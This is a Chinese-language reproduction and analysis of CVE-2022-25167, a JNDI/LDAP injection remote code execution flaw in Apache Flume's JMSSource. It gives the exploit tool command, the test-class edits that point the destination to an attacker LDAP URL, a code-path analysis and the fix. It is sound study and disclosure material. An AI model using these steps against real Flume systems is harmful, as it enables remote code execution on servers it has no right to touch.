項目介紹
Flume 是一種分布式、可靠且可用的服務,用于高效收集、聚合和移動大量日志資料。它具有基于流資料流的簡單靈活的架構。它具有可調整的可靠性機制以及許多故障轉移和恢複機制,具有健壯性和容錯性。它使用允許線上分析應用程式的簡單可擴充資料模型。
項目位址
https://flume.apache.org/
漏洞概述
當攻擊者控制目标 LDAP 伺服器時,如果配置使用帶有 JNDI LDAP 資料源 URI 的 JMS 源,Apache Flume 版本 1.4.0 到 1.9.0 很容易受到 RCE 攻擊[1]
影響版本
Apache Flume 1.4.0 - 1.9.0
環境搭建
下載下傳部署即可
https://archive.apache.org/dist/flume/1.10.0/
漏洞複現
該漏洞需要使用 JNDI工具輔助複現,可使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具。
工具連結:
https://github.com/welk1n/JNDI-Injection-Exploit
指令如下所示:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"
終端開啟監聽,搭建 Flume 項目以 jdk1.8 環境運作 TestIntegrationActiveMQ 測試類即可
漏洞分析
查詢官網披露資訊可知,是由于 JMSSource 類沒有進行驗證,導緻使用者傳入的資料被反序列化
搭建運作,idea預設生成的 Junit Application 并不能正常運作;先靜态分析看一下
按照思路 diff 發現 JMSSource 1.10.0 在 doConfigure 中新增了調用 assertTure 的 uri 校驗;轉頭去找 lookup
定位代碼,connectionFactory 調用了 initialContext.lookup
看一下 lookup 的調用方法,傳進 InitialContext#getURLOrDefaultInitCtx
lookup 拿到 name ,getURLScheme比對 :和 /;之後擷取連結内容,getURLContext 解釋包含樣例
For example, if the scheme id is "ldap", and the Context. URL_PKG_PREFIXES property contains "com.widget:com.wiz. jndi", the naming manager would attempt to load the following classes until one is successfully instantiated:
· com.widget.ldap.ldapURLContextFactory
· com.wiz.jndi.ldap.ldapURLContextFactory
· com.sun.jndi.url.ldap.ldapURLContextFactory
基本确定了,接下來嘗試漏洞利用
context.put(JMSSourceConfiguration.DESTINATION_NAME,
JNDI_PREFIX + DESTINATION_NAME);
項目未提供可将惡意參數傳入漏洞觸發位置的web界面或api,為了快速進行漏洞分析我們使用官方提供的測試類TestIntegrationActiveMQ, 可以使用該測試類進行漏洞複現與利用
可控參數傳入位置在該類的 testQueueLocatedWithJndi 函數,裡面隻有上述兩個 context.put;DESTINATION_NAME即為我們的入口點,name參數正是來自 DESTINATION_NAME ,是以需要在 TestIntegrationActiveMQ 中設定 DESTINATION_NAME 為 ldap 的連結;且需要更改 JNDI_PREFIX 為 ldap
converterClassName is :
org.apache.flume.source.jms.DefaultJMSMessageConverter$Builder
destinationName+dynamicQueues/+test
destinationLocator+JNDI
按照這個嘗試修改代碼
TestIntegrationActiveMQ 中修改 DESTINATION_NAME 和 JNDI_PREFIX
運作測試發現 testQueueLocatedWithJndi 讀入的 資訊變成了 ldap://xxxxx:1389/h3puak 且 testQueueLocatedWithJndi 測試報錯
context.put 變成
destinationName+ldap://+xxxxxx:1389/h3puak
destinationLocator+JNDI
按照漏洞複現步驟運作工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator"
擷取到 destinationName:ldap://x.x.x.x:1389/gttkny
收到 ldap了但沒執行指令;idea項目Java版本換成 1.8 即可
修複方式
更新到 1.10.0 版本或按照 commite:dafb26ccb172141c6e14e95447e1b6ae38e9a7d0 修複相關代碼
參考連結
[1]https://nvd.nist.gov/vuln/detail/CVE-2022-25167
[2]https://github.com/apache/flume/commit/dafb26ccb172141c6e14e95447e1b6ae38e9a7d0
[3]https://issues.apache.org/jira/browse/FLUME-3416
[4]https://vuldb.com/zh/?id.201779